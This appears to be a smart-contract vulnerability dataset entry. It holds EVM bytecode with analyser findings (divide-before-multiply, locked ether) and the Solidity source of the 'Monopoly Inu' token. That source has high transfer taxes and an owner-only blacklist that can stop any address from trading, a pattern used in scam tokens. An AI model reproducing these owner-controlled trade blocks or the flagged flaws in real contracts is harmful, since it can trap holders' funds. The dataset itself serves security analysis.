10e249190810190612de4565b8160200181905250826001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015610e6557600080fd5b505afa158015610e79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e9d9190612e75565b816040018181525050826001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610edf57600080fd5b505afa158015610ef3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f179190612e75565b60608201526040516370a0823160e01b81526001600160a01b038416906370a0823190610f48908590600401612f7d565b60206040518083038186803b158015610f6057600080fd5b505afa158015610f74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f989190612e75565b60808201525b6001600160a01b03831660a082015292915050565b6000610fc983610ca3848763ffffffff612b0b16565b949350505050565b600080836001600160a01b0316632f4775866040518163ffffffff1660e01b815260040160206040518083038186803b15801561100d57600080fd5b505afa158015611021573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110459190612e75565b90506000846001600160a01b031663dc883ca46040518163ffffffff1660e01b815260040160206040518083038186803b15801561108257600080fd5b505afa158015611096573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ba9190612e75565b9050610caf848284611c14565b6000806110d38361220b565b905060006110e084612143565b9050610fc981610ca38461016d63ffffffff612b0b16565b611100612cbc565b600260009054906101000a90046001600160a01b03166001600160a01b03166332fe7b266040518163ffffffff1660e01b815260040160206040518083038186803b15801561114e57600080fd5b505afa158015611162573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111869190612d0e565b6001600160a01b031663817b1cd26040518163ffffffff1660e01b815260040160206040518083038186803b1580156111be57600080fd5b505afa1580156111d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f69190612e75565b81526002546040805163197f3d9360e11b815290516001600160a01b03909216916332fe7b2691600480820192602092909190829003018186803b15801561123d57600080fd5b505afa158015611251573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112759190612d0e565b6001600160a01b0316635f81a57c6040518163ffffffff1660e01b815260040160206040518083038186803b1580156112ad57600080fd5b505afa1580156112c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112e59190612e75565b6020808301919091526002546040805163197f3d9360e11b815290516001600160a01b03909216926332fe7b2692600480840193829003018186803b15801561132d57600080fd5b505afa158015611341573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113659190612d0e565b6001600160a01b03166313114a9d6040518163ffffffff1660e01b815260040160206040518083038186803b15801561139d57600080fd5b505afa1580156113b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113d59190612e75565b604080830191909152600254815163197f3d9360e11b815291516001600160a01b03909116916332fe7b26916004808301926020929190829003018186803b15801561142057600080fd5b505afa158015611434573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114589190612d0e565b6001600160a01b031663f1900dc56040518163ffffffff1660e01b815260040160206040518083038186803b15801561149057600080fd5b505afa1580156114a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c89190612e75565b60608201526002546040805163197f3d9360e11b815290516001600160a01b03909216916332fe7b2691600480820192602092909190829003018186803b15801561151257600080fd5b505afa158015611526573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061154a9190612d0e565b6001600160a01b0316639e3d67c96040518163ffffffff1660e01b815260040160206040518083038186803b15801561158257600080fd5b505afa158015611596573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115ba9190612e75565b60808201526002546040805163197f3d9360e11b815290516001600160a01b03909216916332fe7b2691600480820192602092909190829003018186803b15801561160457600080fd5b505afa158015611618573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061163c9190612d0e565b6001600160a01b031663d04975506040518163ffffffff1660e01b815260040160206040518083038186803b15801561167457600080fd5b505afa158015611688573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ac9190612e75565b60a082015290565b6000806116c08461255a565b90506000816001600160a01b03166370a08231856040518263ffffffff1660e01b81526004016116f09190612f7d565b60206040518083038186803b15801561170857600080fd5b505afa15801561171c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117409190612e75565b1115611750576001915050610cb4565b6000915050610cb4565b6000806117668461255a565b9050610fc98184611cba565b600080611785848063ffffffff612b0b16565b90506000611799858563ffffffff612b7216565b9050610caf828263ffffffff612b4516565b6000806117b78461255a565b9050610fc98184610fd1565b6000806117d6858463ffffffff612b0b16565b905060006117fb60026117ef878063ffffffff612b0b16565b9063ffffffff612b0b16565b9050600061181460026117ef888a63ffffffff612b0b16565b90506000611828888063ffffffff612b0b16565b9050600061185c61184f83611843878763ffffffff612b8116565b9063ffffffff612b7216565b869063ffffffff612b0b16565b90506000611874896117ef818063ffffffff612b0b16565b9050611886828263ffffffff612b4516565b9a9950505050505050505050565b6000816118a257508461193b565b60006118b087878787611a3a565b905060006118c4868863ffffffff612b0b16565b905060006118d8868a63ffffffff612b0b16565b905060006118f160026117ef898c63ffffffff612b0b16565b9050600061191982610ca361190c878763ffffffff612b7216565b8a9063ffffffff612b0b16565b60035490915061193390610ca3838863ffffffff612b0b16565b955050505050505b95945050505050565b600080836001600160a01b0316632f4775866040518163ffffffff1660e01b815260040160206040518083038186803b15801561198057600080fd5b505afa158015611994573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119b89190612e75565b90506000846001600160a01b031663dc883ca46040518163ffffffff1660e01b815260040160206040518083038186803b1580156119f557600080fd5b505afa158015611a09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a2d9190612e75565b9050610caf848383611c14565b600080611a4d858563ffffffff612b0b16565b90506000611a61878563ffffffff612b0b16565b90506000611a7a876118438a600263ffffffff612b0b16565b90506000611a8e878763ffffffff612b7216565b9050600083851115611ab157611aaa858563ffffffff612b8116565b9050611ac4565b611ac1848663ffffffff612b8116565b90505b6000611ad6848463ffffffff612b0b16565b9050611b03611af482610ca360035486612b0b90919063ffffffff16565b6003549063ffffffff612b8116565b9b9a5050505050505050505050565b6060611c0f6000600260009054906101000a90046001600160a01b03166001600160a01b03166332fe7b266040518163ffffffff1660e01b815260040160206040518083038186803b158015611b6757600080fd5b505afa158015611b7b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b9f9190612d0e565b6001600160a01b0316639f181b5e6040518163ffffffff1660e01b815260040160206040518083038186803b158015611bd757600080fd5b505afa158015611beb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104cc9190612e75565b905090565b600080611c2a61184f858563ffffffff612b0b16565b90506000611c51611c41878763ffffffff612b7216565b6117ef888863ffffffff612b7216565b9050611c63828263ffffffff612b4516565b9695505050505050565b60006127108311158015611c815750600083115b611ca65760405162461bcd60e51b8152600401611c9d9061301e565b60405180910390fd5b611cb38361271084610fb3565b9392505050565b600080836001600160a01b0316632f4775866040518163ffffffff1660e01b815260040160206040518083038186803b158015611cf657600080fd5b505afa158015611d0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d2e9190612e75565b90506000846001600160a01b031663dc883ca46040518163ffffffff1660e01b815260040160206040518083038186803b158015611d6b57600080fd5b505afa158015611d7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611da39190612e75565b9050610caf81610ca3868563ffffffff612b0b16565b611dc1612c7d565b610cb48233610cba565b600080611c2a61184f868563ffffffff612b0b16565b60035481565b6000806000611df58561255a565b90506000816001600160a01b03166370a08231866040518263ffffffff1660e01b8152600401611e259190612f7d565b60206040518083038186803b158015611e3d57600080fd5b505afa158015611e51573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e759190612e75565b9050611e818682612652565b9350935050509250929050565b6002546001600160a01b031681565b6002546040805163197f3d9360e11b815290516000926001600160a01b0316916332fe7b26916004808301926020929190829003018186803b158015611ee257600080fd5b505afa158015611ef6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1a9190612d0e565b6001600160a01b0316639f181b5e6040518163ffffffff1660e01b815260040160206040518083038186803b158015611f5257600080fd5b505afa158015611f66573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c0f9190612e75565b6060611f94611e9d565b611fa4848463ffffffff612b7216565b1115611fc557611fc283611fb6611e9d565b9063ffffffff612b8116565b91505b60608267ffffffffffffffff81118015611fde57600080fd5b50604051908082528060200260200182016040528015612008578160200160208202803683370190505b50905060005b8381101561213b576002546040805163197f3d9360e11b8152905161210f926001600160a01b0316916332fe7b26916004808301926020929190829003018186803b15801561205c57600080fd5b505afa158015612070573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120949190612d0e565b6001600160a01b031663e4b50cb8836040518263ffffffff1660e01b81526004016120bf91906131b5565b60206040518083038186803b1580156120d757600080fd5b505afa1580156120eb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104df9190612d0e565b82828151811061211b57fe5b6001600160a01b039092166020928302919091019091015260010161200e565b509392505050565b60008061214f8361255a565b90506000816001600160a01b031663a7f0b3de6040518163ffffffff1660e01b815260040160206040518083038186803b15801561218c57600080fd5b505afa1580156121a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121c49190612e75565b90506121d9816201518063ffffffff612b7216565b4210156121eb57600192505050610b9f565b61220262015180610ca3428463ffffffff612b8116565b92505050610b9f565b6000806122178361255a565b905060006122916002836001600160a01b031663c35d6e286040518163ffffffff1660e01b815260040160206040518083038186803b15801561225957600080fd5b505afa15801561226d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117ef9190612e75565b905060006122d36002846001600160a01b0316632f4775866040518163ffffffff1660e01b815260040160206040518083038186803b15801561225957600080fd5b905060006122ed83610ca38461271063ffffffff612b0b16565b9050600061232f6002866001600160a01b031663c2c080686040518163ffffffff1660e01b815260040160206040518083038186803b15801561225957600080fd5b905060006123716002876001600160a01b031663dc883ca46040518163ffffffff1660e01b815260040160206040518083038186803b15801561225957600080fd5b9050600061238b83610ca38461271063ffffffff612b0b16565b90506123a0848201600263ffffffff612b4516565b9998505050505050505050565b60606123b7611e9d565b6123c7848463ffffffff612b7216565b11156123dc576123d983611fb6611e9d565b91505b60608267ffffffffffffffff811180156123f557600080fd5b5060405190808252806020026020018201604052801561241f578160200160208202803683370190505b50905060005b8381101561213b57600260009054906101000a90046001600160a01b03166001600160a01b03166332fe7b266040518163ffffffff1660e01b815260040160206040518083038186803b15801561247b57600080fd5b505afa15801561248f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124b39190612d0e565b6001600160a01b031663e4b50cb8826040518263ffffffff1660e01b81526004016124de91906131b5565b60206040518083038186803b1580156124f657600080fd5b505afa15801561250a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061252e9190612d0e565b82828151811061253a57fe5b6001600160a01b0390921660209283029190910190910152600101612425565b6002546040805163197f3d9360e11b815290516000926001600160a01b0316916332fe7b26916004808301926020929190829003018186803b15801561259f57600080fd5b505afa1580156125b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125d79190612d0e565b6001600160a01b031663bbe4f6db836040518263ffffffff1660e01b81526004016126029190612f7d565b60206040518083038186803b15801561261a57600080fd5b505afa15801561262e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb49190612d0e565b60008060006126608561255a565b905061274884826001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561269f57600080fd5b505afa1580156126b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126d79190612e75565b836001600160a01b0316632f4775866040518163ffffffff1660e01b815260040160206040518083038186803b15801561271057600080fd5b505afa158015612724573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102e69190612e75565b92506127f884826001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561278757600080fd5b505afa15801561279b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127bf9190612e75565b836001600160a01b031663dc883ca46040518163ffffffff1660e01b815260040160206040518083038186803b15801561271057600080fd5b9150509250929050565b60008061280e8461255a565b9050610fc98184610ba4565b6001546001600160a01b031681565b6060611c0f6000610493611e9d565b6001546001600160a01b031633146128625760405162461bcd60e51b8152600401611c9d9061304a565b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6000806128908461255a565b90506000816001600160a01b03166370a08231856040518263ffffffff1660e01b81526004016128c09190612f7d565b60206040518083038186803b1580156128d857600080fd5b505afa1580156128ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129109190612e75565b9050610caf81836001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561294f57600080fd5b505afa158015612963573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129879190612e75565b846001600160a01b0316632f4775866040518163ffffffff1660e01b815260040160206040518083038186803b15801561271057600080fd5b6000546001600160a01b031681565b6000806129db8461255a565b90506000816001600160a01b03166370a08231856040518263ffffffff1660e01b8152600401612a0b9190612f7d565b60206040518083038186803b158015612a2357600080fd5b505afa158015612a37573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612a5b9190612e75565b9050610caf81836001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015612a9a57600080fd5b505afa158015612aae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ad29190612e75565b846001600160a01b031663dc883ca46040518163ffffffff1660e01b815260040160206040518083038186803b15801561271057600080fd5b600082612b1a57506000610cb4565b82820282848281612b2757fe5b0414611cb35760405162461bcd60e51b8152600401611c9d90612ffc565b6000611cb38383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b815250612bae565b600082820183811015611cb357fe5b6000611cb38383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b815250612be5565b60008183612bcf5760405162461bcd60e51b8152600401611c9d9190612fe9565b506000838581612bdb57fe5b0495945050505050565b60008184841115612c095760405162461bcd60e51b8152600401611c9d9190612fe9565b505050900390565b60405180610160016040528060006001600160a01b0316815260200160006001600160a01b031681526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b6040518060c00160405280606081526020016060815260200160008152602001600081526020016000815260200160006001600160a01b031681525090565b6040518060c001604052806000815260200160008152602001600081526020016000815260200160008152602001600081525090565b600060208284031215612d03578081fd5b8135611cb381613212565b600060208284031215612d1f578081fd5b8151611cb381613212565b60008060408385031215612d3c578081fd5b8235612d4781613212565b946020939093013593505050565b60008060408385031215612d67578182fd5b8235612d7281613212565b91506020830135612d8281613212565b809150509250929050565b60008060408385031215612d3c578182fd5b600080600060608486031215612db3578081fd5b8335612dbe81613212565b92506020840135915060408401358015158114612dd9578182fd5b809150509250925092565b600060208284031215612df5578081fd5b815167ffffffffffffffff80821115612e0c578283fd5b81840185601f820112612e1d578384fd5b8051925081831115612e2d578384fd5b604051601f8401601f191681016020018381118282101715612e4d578586fd5b604052838152818401602001871015612e64578485fd5b611c638460208301602085016131e2565b600060208284031215612e86578081fd5b5051919050565b60008060408385031215612e9f578182fd5b50508035926020909101359150565b600080600060608486031215612ec2578283fd5b505081359360208301359350604090920135919050565b60008060008060808587031215612eee578081fd5b5050823594602084013594506040840135936060013592509050565b600080600080600060a08688031215612f21578081fd5b505083359560208501359550604085013594606081013594506080013592509050565b6001600160a01b03169052565b60008151808452612f698160208601602086016131e2565b601f01601f19169290920160200192915050565b6001600160a01b0391909116815260200190565b6020808252825182820181905260009190848201906040850190845b81811015612fd25783516001600160a01b031683529284019291840191600101612fad565b50909695505050505050565b901515815260200190565b600060208252611cb36020830184612f51565b6020808252600890820152670a6c2ccca9ac2e8d60c31b604082015260600190565b60208082526012908201527104d75737420626520636f72726563742042560741b604082015260600190565b6020808252600b908201526a2232b83637bcb2b922b93960a91b604082015260600190565b600060c082019050825182526020830151602083015260408301516040830152606083015160608301526080830151608083015260a083015160a083015292915050565b6000610160820190506130c7828451612f44565b60208301516130d96020840182612f44565b5060408301516040830152606083015160608301526080830151608083015260a083015160a083015260c083015160c083015260e083015160e083015261010080840151818401525061012080840151818401525061014080840151818401525092915050565b600060208252825160c0602084015261315c60e0840182612f51565b6020850151848203601f1901604086015291506131798183612f51565b6040860151606086015260608601516080860152608086015160a086015260018060a01b0360a08701511660c086015280935050505092915050565b90815260200190565b918252602082015260400190565b9283526020830191909152604082015260600190565b60005b838110156131fd5781810151838201526020016131e5565b8381111561320c576000848401525b50505050565b6001600160a01b038116811461322757600080fd5b5056fea2646970667358221220962a6850b39b9e39442935fb301c94d60bb0bbbfb6c9009a7f827e440f6b9b6f64736f6c63430006080033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
43
0x0e76db27202b8724c6b050ae9dfdaa4077e9d54c
/** *Submitted for verification at Etherscan.io on 2022-02-09 */ /* ███  ███  ██████  ███  ██  ██████  ██████  ██████  ██  ██  ██  ██ ███  ██ ██  ██  ████  ████ ██    ██ ████  ██ ██    ██ ██   ██ ██    ██ ██   ██  ██   ██ ████  ██ ██  ██  ██ ████ ██ ██  ██ ██ ██  ██ ██  ██ ██████  ██  ██ ██   ████   ██ ██ ██  ██ ██  ██  ██  ██  ██ ██  ██ ██  ██ ██ ██  ██ ██      ██  ██ ██   ██   ██ ██  ██ ██ ██  ██  ██      ██  ██████  ██   ████  ██████  ██   ██████  ███████ ██  ██ ██   ████  ██████                                                                                  */ // Telegram: https://t.me/monopolyinu // Website: Monopolyinu.com // Twitter: https://twitter.com/MonopolyInu // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MonopolyInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Monopoly Inu"; string private constant _symbol = "MonopolyInu"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x3bf96ea78B6889460700Ab3D987bcA395956d892); _feeAddrWallet2 = payable(0x3bf96ea78B6889460700Ab3D987bcA395956d892); _buyTax = 15; _sellTax = 15; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setremoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { require(!bots[from] && !bots[to]); _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { require(amount <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet2.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 25_000_001 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function snipStopper(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 25_000_001 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 15) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 15) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b21d41841161006f578063b21d41841461034f578063c3c8cd801461036f578063c9567bf914610384578063dbe8272c14610399578063dc1052e2146103b9578063dd62ed3e146103d957600080fd5b8063715018a6146102a95780638da5cb5b146102be57806395d89b41146102e65780639e78fb4f1461031a578063a9059cbb1461032f57600080fd5b806323b872dd116100f257806323b872dd14610218578063273123b714610238578063313ce567146102585780636fc3eaec1461027457806370a082311461028957600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b3146101a357806318160ddd146101d35780631bbae6e0146101f857600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611679565b61041f565b005b34801561016857600080fd5b5060408051808201909152600c81526b4d6f6e6f706f6c7920496e7560a01b60208201525b60405161019a9190611696565b60405180910390f35b3480156101af57600080fd5b506101c36101be366004611710565b610470565b604051901515815260200161019a565b3480156101df57600080fd5b50670de0b6b3a76400005b60405190815260200161019a565b34801561020457600080fd5b5061015a61021336600461173c565b610487565b34801561022457600080fd5b506101c3610233366004611755565b6104c9565b34801561024457600080fd5b5061015a610253366004611796565b610532565b34801561026457600080fd5b506040516009815260200161019a565b34801561028057600080fd5b5061015a61057d565b34801561029557600080fd5b506101ea6102a4366004611796565b6105b1565b3480156102b557600080fd5b5061015a6105d3565b3480156102ca57600080fd5b506000546040516001600160a01b03909116815260200161019a565b3480156102f257600080fd5b5060408051808201909152600b81526a4d6f6e6f706f6c79496e7560a81b602082015261018d565b34801561032657600080fd5b5061015a610647565b34801561033b57600080fd5b506101c361034a366004611710565b610859565b34801561035b57600080fd5b5061015a61036a3660046117c9565b610866565b34801561037b57600080fd5b5061015a6108fc565b34801561039057600080fd5b5061015a61093c565b3480156103a557600080fd5b5061015a6103b436600461173c565b610ae4565b3480156103c557600080fd5b5061015a6103d436600461173c565b610b1c565b3480156103e557600080fd5b506101ea6103f436600461188e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104525760405162461bcd60e51b8152600401610449906118c7565b60405180910390fd5b60108054911515600160b81b0260ff60b81b19909216919091179055565b600061047d338484610b54565b5060015b92915050565b6000546001600160a01b031633146104b15760405162461bcd60e51b8152600401610449906118c7565b6658d15e52fd4a008111156104c65760118190555b50565b60006104d6848484610c78565b610528843361052385604051806060016040528060288152602001611a8d602891396001600160a01b038a16600090815260046020908152